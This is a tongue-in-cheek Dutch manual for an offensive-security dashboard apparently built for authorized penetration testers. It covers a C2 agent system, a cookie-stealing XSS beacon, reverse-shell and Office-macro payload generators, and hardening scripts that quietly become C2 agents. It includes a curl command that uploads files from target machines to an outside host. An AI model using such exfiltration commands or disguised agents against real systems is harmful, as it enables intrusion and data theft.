Incompetent Bastard

Een handleiding voor een applicatie die zichzelf incompetent noemt. Dat je dit leest betekent óf dat je nieuwsgierig bent, óf dat je wanhopig bent. Beide zijn valide redenen. Welkom.

Inhoudsopgave

  1. Wat is dit eigenlijk?
  2. Waarom zou je dit willen?
  3. Installatie, of: Hoe Je een Omgeving Inricht die Je Niet aan Je Moeder Kan Uitleggen
  4. Opstarten
  5. Het Dashboard
  6. Agents
  7. De Task Runner
  8. Findings & Rapportage — Het Deel Waar Je Opdrachtgever Geld Aan Uitgeeft
  9. Notities
  10. Payload Generators
  11. De Command Library & Field Manual
  12. Screen Terminal
  13. Recordings
  14. Outputs
  15. Bestanden & Downloads
  16. Het XSS Lab
  17. Het XXE Lab
  18. De Labs: CSRF, SQLi, SSRF
  19. Zoeken
  20. Beveiliging (Ja, Echt)
  21. Opruimen
  22. Eigenaardigheden & Easter Eggs
  23. Architectuur voor de Nieuwsgierigen

1. Wat is dit eigenlijk?

Oké, luister. Ergens op je harde schijf staat nu een Flask-applicatie die alles doet wat je als pentester nodig hebt, en die — in een vlaag van zelfkennis die je zelden tegenkomt in de softwareindustrie — de naam “Incompetent Bastard” heeft gekregen. De naam is zelfspot. De applicatie zelf is dodelijk serieus. Het is het verschil tussen een chirurg die zegt “ik heb geen idee wat ik doe” terwijl hij een perfecte hartoperatie uitvoert, en een chirurg die dat zegt en het ook meent. In het eerste geval lach je. In het tweede geval ren je. Je zou hier niet zijn als je niet in het eerste geval geloofde, dus lees vooral door.

Het is een dashboard. Een payload-fabriek. Een notitieblok. Een rapportgenerator. Een webterminal. Een command library met diverse gedocumenteerde aanvalstechnieken. Een XSS-beacon die cookies binnensleept van browsers die dom genoeg waren om een scriptje te laden van een onbekend IP-adres. Een C2-systeem voor agents op doelmachines. Een CVSS 4.0-calculator. Een LaTeX-rapportgenerator. Het is, kortom, het Zwitserse zakmes van de offensieve beveiliging — als dat zakmes ook een kurkentrekker had die Domain Admin kon worden.

De applicatie draait op 127.0.0.1:5000. Localhost. Je eigen machine. Dit is geen SaaS-product. Dit is geen clouddienst. Dit is een webapp die uitsluitend bedoeld is om lokaal te draaien. Als je hem op het open internet zet, verdien je alles wat er vervolgens gebeurt — en dat is geen dreigement maar een natuurwet, vergelijkbaar met de wet die zegt dat je nat wordt als je in de regen gaat staan zonder paraplu, behalve dat de regen in dit geval bestaat uit mensen die beroepsmatig dingen stelen van computers.

2. Waarom zou je dit willen?

Goede vraag. Het soort vraag dat elke opdrachtgever zou moeten stellen voordat hij een penetratietest bestelt, en dat elke pentester zou moeten kunnen beantwoorden zonder dat zijn linkeroog begint te trillen.

Voor jou, de pentester

Je kent het wel. De gemiddelde penetratietest zonder tooling verloopt als volgt: je opent een terminal. Dan nog een terminal. Dan nog vier terminals. Dan een browser. Dan een teksteditor. Dan nog een browser. Dan een spreadsheet om bij te houden welke terminals wat deden. En tegen het einde van de dag heb je zeventien vensters open, geen idee meer welk IP-adres bij welke machine hoorde, en het onduidelijke gevoel dat je laptop elk moment kan ontploffen — niet door een exploit maar door de hoeveelheid Chrome-tabbladen. Je bent het niet alleen. Het overkomt iedereen. Het is het vuile geheim van de industrie: de helft van je pentestdag besteed je aan het opzoeken van dingen die je vorige week ook al opzocht.

Incompetent Bastard lost dit op door alles in één interface te gieten. Het is alsof iemand je chaos heeft bekeken, er vijf minuten naar heeft gestaard met de vermoeide blik van een ouder die een kinderkamer betreedt, en vervolgens rustig alles heeft opgeruimd en gelabeld. Terwijl jij stond te kijken. Zonder oordeel. Dat is niet waar — met heel veel oordeel — maar het resultaat is hetzelfde.

Voor je opdrachtgever

Je opdrachtgever — dat opmerkelijke sierlijke wezen dat geld betaalt om te horen dat zijn digitale voordeur al die tijd op een kier heeft gestaan — profiteert op manieren die hij/zij/hunnie nooit zal zien maar altijd zal merken:

Het rapport dat je genereerd met Incompetent Bastard is je technische verslag van het onderzoek. Het uiteindelijke pentestrapport met managementsamenvatting mag je lekker zelf schrijven.

3. Installatie, of: Hoe Je een Omgeving Inricht die Je Niet aan Je Moeder Kan Uitleggen

Stap 0: De Broncode Bemachtigen

Voordat je iets kunt installeren, moet je het eerst hebben. Dat is geen filosofie, dat is logistiek. De broncode staat op GitHub, wat tegenwoordig de natuurlijke habitat is van alle software die te eigenwijs is voor een app store en te eerlijk voor een marketingbudget:

git clone https://github.com/jan-karel/incompetentbastard.git
cd incompetentbastard

Ja, je typt dat in een terminal. In zijn geheel. De URL bevat het woord “incompetentbastard” en dat verschijnt in je terminalgeschiedenis, je Git-configuratie, en als je niet oppast in je LinkedIn-activiteit. Geen paniek. Als iemand je browser-geschiedenis doorzoekt en dít de meest verdachte URL is, heb je een bewonderenswaardig rustig digitaal leven geleid. Wie het project liever eerst wil inspecteren voordat hij het zijn harde schijf binnenlaat — begrijpelijk, vertrouwen moet je verdienen — kan langsgaan op github.com/jan-karel/incompetentbastard en daar net zo lang naar de code staren als nodig is om je geweten te sussen.

Stap 1: Het Installatiescript

Er is een installatiescript. Het heet install.sh, en het installeert dingen. Veel dingen. Nmap, Metasploit, crackmapexec, pandoc, sshuttle, asciinema, nuclei, mono (voor C#-compilatie, want waarom niet), sqlmap, wfuzz, en nog een stuk of twintig pakketten waarvan je sommige nooit zult gebruiken. Ze horen er toch bij. Het is als die lade in je keuken met batterijen, elastiekjes, een zakje schroefjes en een sleutel waarvan niemand weet welk slot hij opent — maar die je niet durft weg te gooien. Want stel je voor.

bash install.sh

Het script detecteert of je op macOS of Linux werkt en past zich aan. Dat is al meer dan de meeste van je collega’s doen. Het maakt ook de complete mappenstructuur aan:

raw/
  recon/        ← Reconnaissance output
  nmap/         ← Nmap scans
  loot/         ← Buitgemaakte bestanden (per IP)
  screenshots/  ← Screenshots
  tls/          ← TLS-certificaten
  exploits/     ← Exploitatie-artefacten
  local/        ← Lokale bestanden
  debug/        ← Debug output
  mirror/       ← Gespiegelde websites
  spider/       ← Web spider output
  wget/         ← Wget downloads
  route/        ← Routing info
  tooling/      ← Tool output

http/
  payloads/     ← Gegenereerde payloads
  commands/     ← Diverse command files
  tools/        ← Exploitatietools

rapport/        ← Gegenereerde rapporten
meuk/logs/      ← Asciinema-opnames
meuk/wordlists/ ← Woordlijsten

Daarna:

python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements-dev.txt

De database wordt automatisch aangemaakt bij de eerste start. SQLite. Eén bestand. meuk/flask/db/db.sqlite. Geen PostgreSQL. Geen Redis. Geen Docker. Geen Kubernetes. Geen microservices. Geen architectuurdiagram van acht vierkante meter dat je nodig hebt om je koffie op te zetten. Gewoon een bestand. Een enkel, solitair, bescheiden bestand dat alles bevat. Het is de minimalistische benadering van databasearchitectuur: werkt het? Ja. Volgende vraag.

4. Opstarten

flask --app app:create_app run --host 127.0.0.1 --port 5000

Dat is het. Je opent een browser, navigeert naar http://127.0.0.1:5000, en je bent er. Het duurt korter dan het kostte om deze zin te lezen. Probeer het maar — lees de zin opnieuw en kijk op je horloge. Zie je? De app was al op.

Als je vanaf een ander IP-adres verbindt — laten we zeggen omdat je dacht dat --host 0.0.0.0 een goed idee was, wat het nooit is, tenzij je een helder plan hebt, en “laten we kijken wat er gebeurt” is per definitie geen helder plan — krijg je geen dashboard. Je krijgt een JavaScript-payload. Je bent geen gebruiker meer; je bent een proefkonijn. De applicatie maakt geen onderscheid op basis van je intentie, alleen op basis van je IP-adres. En eerlijk gezegd is dat rechtvaardiger dan de meeste beoordelingssystemen die je in je carrière zult tegenkomen.

Remote toegang is mogelijk via twee routes:

Optie 1: Login met credentials

export IB_ADMIN_USER=admin
export IB_ADMIN_PASSWORD=een_wachtwoord_dat_niet_password123_is

Navigeer naar /login en log in. Zodra je credentials hebt ingesteld, is de localhost-bypass uitgeschakeld. Ook lokaal moet je dan inloggen. Dit is veilig, verstandig, en het soort keuze waar je toekomstige zelf dankbaar voor zal zijn. Je toekomstige zelf is sowieso een betere versie van je huidige zelf, dus geef hem een cadeautje.

Optie 2: Token-gebaseerde API-toegang

export DASHBOARD_ACCESS_TOKEN=een_token
export TASK_RUNNER_TOKEN=een_ander_token

Mee te sturen als header: X-Dashboard-Token: een_token.

5. Het Dashboard

Het dashboard is het eerste wat je ziet, en het is — er is geen andere manier om het te zeggen — veel. Het is alsof iemand de inhoud van een complete werkplek in een browser heeft gepropt: KPI’s, agents, bevindingen, notities, cookies van vreemde browsers, een command library, nmap-resultaten, recordings, payloads, en een settings-knop. Je weet niet waar je moet beginnen, maar je weet dat alles er is. Het is een all-you-can-eat buffet voor hackers. Pak een bord. Begin ergens. Niemand oordeelt. Nou, de applicatie oordeelt niet. Ik oordeel misschien een klein beetje.

De Header — Je Permanente Hulpje

De header is altijd zichtbaar, op elke pagina, als een bijzonder plichtgetrouwe medewerker die weigert naar huis te gaan. Rechts vind je drie knoppen:

De modals sluiten met Escape, het kruisje, of door erbuiten te klikken. Na opslaan verschijnt een groene “Opgeslagen!” en de modal sluit zich na 800 milliseconden. Achthonderd. Iemand heeft daar over nagedacht. Iemand heeft letterlijk besloten dat 800 milliseconden precies genoeg is om het woord “Opgeslagen” te lezen en een klein gevoel van voldoening te ervaren, maar niet zo lang dat je ongeduldig wordt. Dat is het soort aandacht voor detail waardoor je een tool elke dag wilt gebruiken in plaats van elke dag tegen de muur wilt gooien. Het verschil is 200 milliseconden. Onthoud dat.

De KPI’s

Bovenaan vijf kaarten:

Daaronder een motivatiequote. Elke keer een andere. De Borg naast Benjamin Franklin naast Bruce Lee — in het Nederlands. Het is de eclectische inspiratie die je krijgt wanneer de maker zijn favourites-lijst heeft leeggeplunderd en dacht: “waarom kiezen als ik alles kan nemen?” Je zult er niet door gemotiveerd worden, maar je zult er zeker door verrast worden, en verrassing is de eerste stap naar motivatie. Of naar verwarring. Het is een dunne lijn.

Active Agents

Een paneel met al je ingecheckte agents: status, hostname, gebruiker, IP, besturingssysteem. Ververst elke vijf seconden. Het is een hartslagmonitor voor andermans servers — met het verschil dat je bij een hartslagmonitor hoopt dat het hart blíjft kloppen, terwijl je bij agents hoopt dat het kloppende hart niet wordt ontdekt door de eigenaar. Als de eigenaar erachter komt, stopt het hart niet, maar stopt jouw toegang, en dat is vanuit jouw perspectief hetzelfde.

Quick Actions & Operator Snippets

Twee rijen snelknoppen voor navigatie en payload-generatie. Drie kopieerbare one-liners: het host-IP, de curl-upload opdracht, en de XSS-beacon tag. Klik, klembord, klaar. Het scheelt je per dag twintig keer typen, per week een halve middag, en per jaar genoeg tijd om een cursus tai chi te volgen. Je gaat geen cursus tai chi volgen. Maar het is fijn om te weten dat het kún.

Scope — Je Doelwit Vastleggen

De “Scope”-knop in Quick Actions opent een modal waarmee je de scope targets van je assessment beheert. Meerdere targets, elk met een type (host, netwerk, URL of applicatie) en een beschrijving. Het is als een boodschappenlijstje, maar dan voor systemen die je mag aanvallen. Zonder lijstje vergeet je altijd iets — bij boodschappen is dat melk, bij een pentest is dat een /24-subnet waarvan niemand je had verteld dat het erbij hoorde. De scope targets verschijnen in je rapport. Je opdrachtgever ziet precies wat er is getest. Geen discussie achteraf over “maar dat systeem stond toch niet in scope?” Het stond er wel. Het staat er zwart op wit. Met type en beschrijving. De feiten liegen niet, ook niet als de CISO dat liever zou willen.

6. Agents

Het Agent-systeem is een lichtgewicht C2-framework. “Lichtgewicht” in de zin dat het precies doet wat het moet doen en verder zijn mond houdt. Dat klinkt alsof het normaal is. Het is niet normaal. De meeste C2-frameworks hebben genoeg features om er een doctoraalstudie over te schrijven, en je hébt een doctoraalstudie nodig om ze te begrijpen. Dit is het tegenovergestelde. Dit is een C2 dat je begrijpt terwijl je de README nog aan het lezen bent. Verfrissend als een koud biertje op een warme dag, behalve dat het geen bier is maar een command-and-control systeem. De metafoor houdt niet helemaal stand, maar je snapt het.

Een agent is een script — Bash, PowerShell, Python, het maakt de applicatie niet uit — dat periodiek contact opneemt met jouw server:

  1. CheckinPOST /agent/checkin met hostname, username, OS. De server retourneert een agent_id.
  2. PollGET /agent/cmd/{agent_id} voor commando’s. 204 = niks te doen. 200 = werk aan de winkel.
  3. ResultaatPOST /agent/res/{cmd_id} met de output.
  4. HeartbeatPOST /agent/heartbeat/{agent_id}. “Ik leef nog.” Drie woorden. Meer hoeft een agent niet te zeggen.

Statussen: Active (minder dan 30 seconden geleden gezien), Idle (minder dan 5 minuten), Dead (langer stil dan jij in een vergadering na de lunch). Het dashboard /dashboard/agents toont alles in een overzichtstabel. Commando’s sturen, geschiedenis bekijken, agents opruimen.

Elk commando en elke response wordt gelogd als asciicast v2-recording. Stel je voor: je opdrachtgever vraagt om bewijs van de aanvalsketen. Je geeft hem geen screenshot waarop hij — als hij heel goed kijkt en zijn leesbril opzet — misschien de helft van een commando kan ontcijferen. Je geeft hem een afspelbare recording. Met kleuren. En timing. En hij kan het pauzeren. Dat is het verschil tussen “geloof me” en “kijk maar.”

7. De Task Runner

De Task Runner is waar je dingen laat gebeuren zonder ze zelf te hoeven typen. Het is delegeren, maar dan aan een machine die nooit klaagt, nooit een koffiepauze neemt, en nooit per ongeluk het verkeerde IP-adres intypt omdat het zo donker is in die serverruimte en je bril beslagen is en je eigenlijk naar het toilet moet.

Zes categorieën:

Dev

compileall — syntaxcheck. pytest — alle tests. git_status — wat het zegt, en alleen wat het zegt. Geen verrassingen.

Setup

init — mappen en tool-versies. engage — OpenVPN + Empire in screen-sessies. Eén knop, twee tunnels, nul typen.

Recon

scan — Nmap quick scan, gevolgd door parallelle full-port, vuln, whatweb, wfuzz en nuclei scans. Je vult een interface, naam en IP-range in, drukt op Start, en gaat koffie halen. Als je terugkomt zijn de resultaten er. Als je terugkomt en de resultaten er niet zijn, heb je niet lang genoeg koffie gehaald. Probeer het nog eens. Neem een koekje. search, kerberos, ftp_anon — gerichte verkenning.

Brute

gen_passwords, brute_ssh, brute_rdp, brute_vpn, weak_ssh. De namen verklappen precies wat ze doen. Subtiliteit is een eigenschap die je bij brute force niet aantreft, niet in de techniek en niet in de naamgeving.

Exploit

ftp_asp, rfi_input.

Network

sshuttle — VPN-over-SSH tunnel. Tunnelen door SSH alsof het de normaalste zaak van de wereld is, wat het in jouw wereld ook is.

Output scrollt live mee. Maximaal 500 regels, maximaal 600 seconden. Daarna wordt het proces beëindigd met het soort emotieloze efficiëntie waarmee een Zwitsers horloge de seconden tikt: zonder medeleven, zonder twijfel, zonder “maar ik was bijna klaar.” Alle argumenten worden gevalideerd met regex. Geen shell=True. Geen pad-traversal. De Task Runner doet wat je vraagt, niet meer en niet minder, en weigert beleefd maar onverbiddelijk alles wat niet op de lijst staat. Het is de enige collega die nooit “ja maar” zegt. Neem hem als voorbeeld. Nee, doe dat niet. Je hebt een persoonlijkheid. Houd die.

8. Findings & Rapportage — Het Deel Waar Je Opdrachtgever Geld Aan Uitgeeft

Laten we even eerlijk zijn. Je opdrachtgever betaalt niet voor het hacken. Je opdrachtgever betaalt voor het rapport. Het hacken is het middel. Het rapport is het product. Ik weet het. Jij weet het. Diep vanbinnen wil je het ontkennen. Maar dit fundamentele inzicht — dat de waarde van je pentest zit in de documentatie en niet in de adrenaline — is wat het verschil maakt tussen een pentester die werk heeft en een pentester die een heel interessant verhaal heeft voor op feestjes maar geen inkomsten. Kies je maar uit welke je wilt zijn. Neem de tijd. Ik wacht.

Quick-add: Documenteren Terwijl het Gebeurt

De “+ Bevinding”-knop in de header opent een modal. Template kiezen — naam verschijnt automatisch. Host invullen. Beschrijving schrijven met de LaTeX-toolbar. CVSS-score klikken — de kleur verandert mee van groen (“mwah”) naar donkerrood (“bel de CEO en daarna de advocaat en daarna de therapeut”). Opslaan. Modal sluit. Totale tijd: dertig seconden. Je was bezig met een scan. Je ontdekte een kwetsbaarheid. Je documenteerde hem vóórdat de scan klaar was. Je voelde je even als een god onder de pentesters. Kort, maar intens.

Je opdrachtgever zal dit nooit zien. Hij zal het merken doordat het rapport bevindingen bevat met details die alleen mogelijk zijn als ze zijn vastgelegd op het moment van ontdekking. In plaats van drie uur later uit je hoofd, wanneer alles wat je je herinnert is: “er was iets met poort 443. Of was het 445? Het was een poort. Het was zéker een poort.” Klinkt dat bekend? Ja. Dat dacht ik al.

Het Finding-systeem

Een finding heeft:

Templates

14 standaardtemplates in standard_findings.json, plus een legacy-catalogus met 227 stuks inclusief MITRE ATT&CK referenties. Elke template bevat beschrijving, impact, aanbeveling, OWASP Top 10 en CWE-ID. Je kiest een template, vult de details in, klaar. Het saaiste deel van het werk is al gedaan. Je mag dit ook vertalen als “het slimste deel van het werk is al gedaan,” want het verschil tussen saai en slim is in deze industrie verwaarloosbaar klein.

Je opdrachtgever profiteert: consistente structuur. Bevinding 1 leest als bevinding 17. Het ontwikkelteam weet wat het moet doen. Niemand hoeft te raden wat “de website is een beetje kapot” betekent — want de template dwingt een beschrijving af die een volwassen mens kan interpreteren. Zelfs op maandagochtend.

Evidence

Screenshots, PDF’s, tekstbestanden, JSON, XML, ZIP. Maximaal 10 MB per bestand. UUID-bestandsnamen. Exporteerbaar als ZIP. Wanneer je opdrachtgever vraagt “maar kunt u dat bewijzen?” geef je hem een ZIP-bestand in plaats van een ongemakkelijke stilte gevolgd door een blik op de klok en de opmerking dat het alweer bijna lunchtijd is.

Scope Targets

In de Instellingen-tab van het Rapport Dashboard definieer je scope targets: elk met een target, type (host, netwerk, URL of applicatie) en beschrijving. Dezelfde interface als via de Scope-knop op het hoofddashboard. De targets verschijnen als tabel in je rapport — in de scope-sectie, boven de managementsamenvatting. Als je geen expliciete targets hebt ingesteld, valt het rapport terug op de automatisch verzamelde locaties uit je bevindingen. Maar expliciete targets zijn beter. Expliciete dingen zijn altijd beter. Vraag het maar aan je therapeut.

Rapportgeneratie

Klik op “Generate report.” De applicatie haalt alles op, groepeert het per template, maakt er LaTeX van, gooit het door pandoc, en produceert .tex, .html en .md. Er verschijnt een preview. Het is — in de meest letterlijke zin van het woord — knopdruk-rapportage. Je drukt op de knop. Je krijgt een rapport. Het is bijna teleurstellend hoe weinig drama eraan te pas komt. Maar drama wil je in je vrije tijd. In je werk wil je dat de knop werkt.

Het LaTeX-sjabloon ondersteunt secties, subsecties, afbeeldingen, vetgedrukt, voetnoten, highlighting, lijsten en codeblokken. De regex die de LaTeX omzet naar HTML is het soort code waar je naar kijkt en zachtjes begint te huilen — niet van verdriet maar van verwondering — want het werkt. Het feit dat het werkt is een overwinning van koppigheid op logica, want logica zegt dat dit onmogelijk zou moeten zijn. Maar logica heeft het mis. Hier staan we dan.

9. Notities

Notities zijn vrije tekstvelden. Je maakt ze, schrijft erin, sleept ze in volgorde, en vinkt optioneel “Opnemen in rapport” aan. Aangevinkte notities verschijnen als subsecties in het rapport. Niet-aangevinkte notities zijn privé — inclusief die notitie “ALLES IS STUK” die je om 02:14 hebt ingetypt en die je de volgende ochtend stilletjes verwijdert terwijl je doet alsof het nooit is gebeurd. We zullen er niet over praten. Het is al verwijderd. Het is nooit gebeurd.

Quick-add Modal

“+ Notitie” in de header. Modal. Naam, inhoud, LaTeX-toolbar. Opslaan. Klaar. Het is korter dan een haiku en nuttiger dan de meeste vergaderingen die je deze week hebt bijgewoond. En je hebt er vier bijgewoond. En ze hadden ook een e-mail kunnen zijn. Maar deze modal is géén vergadering en géén e-mail. Het is een knop.

Drag-and-drop herschikken via /api/notes/reorder. De editor ondersteunt LaTeX. Of je wiskundige formules nodig hebt in een pentestrapport is een vraag die de applicatie niet stelt, en dat is waarschijnlijk maar goed ook. Het antwoord is bijna altijd “nee.” Maar die één keer dat het antwoord “ja” is — en die keer komt, geloof me, die keer komt — zul je zo blij zijn dat het kan dat je er een notitie over maakt. In LaTeX.

10. Payload Generators

Acht generators. Het is alsof iemand een Zwitsers zakmes heeft gebouwd maar dan met gereedschappen die je niet aan de douane kunt uitleggen. “Nee mevrouw, deze tool genereert reverse shells in acht programmeertalen, het is voor mijn werk.” Veel succes met die uitleg.

Reverse Shells

IP en poort invullen, klikken, en je hebt shells in Bash, PowerShell, Python, PHP, Ruby, Perl, Netcat, Socat. Plus AMSI-bypass one-liners en download cradles. Het bespaart je het googelen van dezelfde commando’s die je vorige week ook al googelde en de week daarvoor ook. Je zoekgeschiedenis wordt er ook een stuk minder belastend van, en als je ooit in een forensisch onderzoek terechtkomt (als onderzoeker, niet als verdachte — nuance is belangrijk), zul je jezelf dankbaar zijn.

Office Macro

Genereert een Office-document met een VBA-macro die een Meterpreter-sessie opzet. Je opdrachtgever wil weten of zijn medewerkers op kwaadaardige bijlagen klikken? Hier krijgt hij zijn antwoord. Spoiler: ze klikken. Ze klikken áltijd. Het is de meest betrouwbare constante in de informatiebeveiliging. De zon komt op. De maan gaat onder. Mensen klikken op bijlagen.

Macro v2 (LURI)

URL-gebaseerde payload delivery. Minder detectie, meer plezier. De details zijn technisch. Het resultaat is dat je payload aankomt waar hij moet aankomen, en dat is alles wat je hoeft te weten.

Meterpreter

C#-executable met XOR-versleutelde shellcode. Het project heet “meth.” De broncode heet crystalmeth.cs. Ik ga hier niet doen alsof dit professionele naamgeving is. Het is de naamgeving van iemand die om drie uur ’s nachts code schreef en op dat uur andere regels hanteert voor variabelnamen. Jij doet dat ook. Ontken het niet. Je hebt bestanden op je computer waar je overdag niet over praat. Niet dát soort bestanden. Ik bedoel code met variabelnamen als dingetje en bla.

Meterpreter v2

Ander template, zelfde concept. Voor als je eerste poging niet werkte. Of voor als je gewoon graag keuze hebt. Keuze is goed. Keuze is menselijk.

PowerShell

Reverse shells met AMSI-bypass. Acht varianten. Omdat één manier om Windows te betreden nooit genoeg is.

Meth ASPX

ASP.NET reverse shell voor IIS. XOR-versleuteld. Voor als je een webserver tegenkomt die nog IIS draait en je een moment van pure, onversneden vreugde ervaart.

Invoke-Shellcode

Shellcode in het geheugen. Geen bestanden op schijf. In theorie onzichtbaar voor antivirus. In de praktijk is antivirus tegenwoordig slimmer dan je zou wensen, maar hoop is een strategie die in de beveiligingsindustrie verrassend vaak werkt. Niet gegarandeerd. Maar vaak.

Alle generators draaien in achtergrondthreads. Status pollen via API. Maximaal 600 seconden. Poortvalidatie: 1–65535. De applicatie is paranoide over input — wat bij een tool die exploits genereert niet paranoide is maar verstandig, want de enige persoon die een exploit-generator hackt is een andere pentester, en dat zou het meest gênante verhaal op de volgende vakconferentie zijn. “Mijn hackertool werd gehackt.” De zaal lacht. Jij lacht niet. Je wisselt van beroep. Loodgieter, misschien.

11. De Command Library & Field Manual

Over de platte tekstbestanden in http/commands/. Geen extensie. De bestandsnaam is de categorie. kerb_kerberoast. web_sqli_union. lateral_dcom. 34 categorieën, van AMSI Bypass tot Web: Overig. Het is het soort opslagsysteem dat een bibliothecaris zou doen huilen en een sysadmin zou doen glimlachen. Als je jezelf herkent in de tweede categorie, lees door. Als je jezelf herkent in de eerste, bel ik alvast een taxi.

Field Manual — Ctrl+K

Beschikbaar op elke pagina. Doorzoekbaar. Find-and-replace voor placeholders — IP-adressen, hostnamen, poorten. Je typt “kerb”, krijgt alle Kerberos-commando’s, vervangt het IP, kopieert, plakt. Het hele proces duurt minder lang dan het kost om een collega te vragen “hoe was de syntax ook alweer?” en het antwoord af te wachten. Want dat antwoord begint altijd met “ehm” en eindigt met “google het even.” Je collega is geen slechte collega. Hij is gewoon geen Field Manual. En jij hebt nu een Field Manual. De collega mag op vakantie.

De Command Library Pagina

/dashboard/commands. Alles gegroepeerd, opvouwbaar, doorzoekbaar. Zie de volledige Command Library handleiding.

Injecteren in Screen-sessies

Je selecteert een commando, kiest een screen-sessie, past placeholders aan, klikt “Inject.” Het commando verschijnt in de terminal. Je hebt gedelegeerd aan een machine. De machine typt sneller dan jij, maakt geen fouten, en heeft nooit een ochtend gehad waarop de toetsenbordindeling per ongeluk op Deens stond. Weet je waarom die ochtenden erg zijn? Niet omdat Deens een slechte taal is. Maar omdat “ø” niet is wat je bedoelde toen je “o” typte. En “å” is absoluut niet wat je bedoelde. En nu is je commando gebroken en je zelfvertrouwen ook.

12. Screen Terminal

De Screen Terminal (/dashboard/screen) is een webterminal. Een echte screen-sessie met asciinema-opname, bediend vanuit je browser. Je typt commando’s onderaan, de output verschijnt bovenaan, en alles wordt opgenomen. Het is meer een afstandsbediening voor een terminal dan een terminal zelf — een hybride ding dat geen goede naam heeft maar dat werkt. “Het heeft geen goede naam maar het werkt” is trouwens de onofficiële slogan van alle nuttige software ooit gemaakt. Als je dit op een t-shirt wilt drukken, ga je gang.

De sidebar rechts toont de Command Library. Klik op een commando en het verschijnt in de sessie. Ondersteunde shells: bash, sh, zsh. Max 1024 tekens per commando. Als je commando langer is dan 1024 tekens, heb je een ander probleem dan deze tool kan oplossen.

13. Recordings

Alles wordt opgenomen als .rec-bestand in meuk/logs/. De Recordings-pagina (/dashboard/recordings) toont alle opnames met een asciinema-player. Afspelen, pauzeren, fullscreen. En je hebt gelijk je timestamps.

Waarom dit ertoe doet: je opdrachtgever krijgt niet een screenshot met een pijltje en de tekst “hier ging het mis.” Dat is qua overtuigingskracht vergelijkbaar met een handgeschreven briefje op de koelkast. In plaats daarvan krijgt hij een afspelbare recording die exact laat zien wat er is gebeurd, wanneer, en hoe. Het verschil is dat tussen een getuigenverklaring en beveiligingscamerabeelden. De tweede is betrouwbaarder, aanzienlijk moeilijker te ontkennen, en je hoeft er niet bij te huilen in de rechtszaal. Hoewel dat laatste bij een pentest zelden aan de orde is. Maar je weet maar nooit.

14. Outputs

De Outputs-pagina (/dashboard/outputs) browsert twaalf directories: nmap-scans, recon, loot, local, exploits, tls, debug, mirror, spider, route, tooling, wget. Tweekoloms layout: links de bestandslijst, rechts de inhoud. Maximaal 120 KB per bestand. Kopieerknop.

Het is het soort pagina die er onopvallend uitziet totdat je hem nodig hebt, waarna het de belangrijkste pagina van de applicatie wordt, waarna je hem weer vergeet totdat je hem weer nodig hebt. Het is het brandblusapparaat van de IT. Je hoopt dat je het nooit nodig hebt. Maar als je het nodig hebt, ben je blij dat het er hangt. En dat het niet leeg is. Controleer je brandblusapparaat. Controleer ook deze pagina. Niet nu. Later. Je hebt nu andere dingen te doen.

15. Bestanden & Downloads

Downloads

Korte URL’s: /p/{bestand} voor payloads, /t/{bestand} voor tools, /tm/{bestand} voor mini-tools. Dit zijn de URL’s die je op de doelmachine gebruikt. Kort, functioneel, en het soort URL dat een IDS-systeem alarmbellen doet rinkelen alsof er iemand de brandtrap afrent met een printer onder zijn arm. Standaard localhost-only, tenzij PUBLIC_DOWNLOADS=true.

Uploads

POST /upload. Je bestand wordt opgeslagen in raw/loot/{client_ip}/timestamp_{bestandsnaam}. Superhandig, gewoon curl -F @file http://incompetentbastard.nl/upload

Audit Scripts (Check-Aanbevelingen)

In http/payloads/ staan vier hardening-check scripts die je via de command library kunt downloaden op doelmachines. Ze scannen op privilege-escalatie vectoren, misconfiguraties en LOLBins:

Elk script heeft een bijbehorend get_ commandfile — typ het commando op de doelmachine en het script wordt gedownload. De scripts ondersteunen -P voor privilege-escalatie checks en -b voor “Become”-modus: exploiteerbare FAILs worden verzameld, op prioriteit gesorteerd, en gepresenteerd als interactief menu. Het is alsof iemand je een kaart heeft gegeven met alle zwakke plekken erop getekend, inclusief een routebeschrijving. Gebruik het verantwoord. Of in ieder geval met een contract.

Agent-modus — De Hardening-Check als C2-Agent

Elk van de vier scripts heeft een ingebouwde agent-modus. Bash: -a URL. PowerShell: -Agent URL. En daarmee verandert een onschuldig hardening-check script in een volwaardige C2-agent die zichzelf registreert bij je Incompetent Bastard dashboard en vervolgens braaf gaat zitten wachten op commando’s. Het is de digitale equivalent van een rechercheur die undercover gaat als loodgieter: hij controleert je kraan, maar als het moet kan hij ook je huis doorzoeken. Mits je daar een rechterlijk bevel voor hebt. Of, in ons geval, een pentestcontract.

De flow is elegant in zijn eenvoud:

  1. Checkin — het script stuurt een POST naar /agent/checkin met hostname, username, OS-info en scripttype (linux-lolbin, macos-lolbin, ps-rsat of ps-lolbin). De server retourneert een cryptografisch random agent_id en een poll-frequentie.
  2. Poll-loop — elke paar seconden (standaard 3) pollt de agent /agent/cmd/{agent_id}. HTTP 200 betekent werk: een commando wordt lokaal uitgevoerd en de output gaat terug via POST /agent/res/{cmd_id}. HTTP 204 betekent stilte. De agent wacht. De agent klaagt niet. De agent is geduldiger dan jij ooit zult zijn.
  3. Heartbeat — elke poll-request is tegelijk een heartbeat. De server werkt last_seen bij en bepaalt de status: Active (minder dan 30 seconden), Idle (tot 5 minuten), of Dead (langer stil dan een vergadering over Q3-budgetten).
  4. Recording — alles wordt gelogd als asciicast v2-recording in meuk/logs/. Elk commando, elke response, met tijdcodes. Afspelbaar op de Recordings-pagina. Je opdrachtgever krijgt niet een samenvatting van wat je hebt gedaan — hij krijgt een film.

Het briljante is de camouflage. Het script rún eerst de hardening-checks — een volkomen legitieme activiteit die elke systeembeheerder zou toejuichen. En daarna, zonder ophef, zonder fanfare, zonder een banner die zegt “U WORDT NU GECONTROLEERD DOOR EEN PENTESTER,” draait het door als agent. Op het doelsysteem ziet het eruit als een afgeronde check. Op je dashboard verschijnt een nieuwe agent met hostname, gebruiker en OS. Je stuurt commando’s vanuit je browser. De agent voert ze uit. De resultaten verschijnen in je interface. Het is alsof je een secondére terminal hebt op een machine waar je geen SSH-toegang toe hebt — of waar SSH-toegang verdacht zou zijn maar een hardening-check niet.

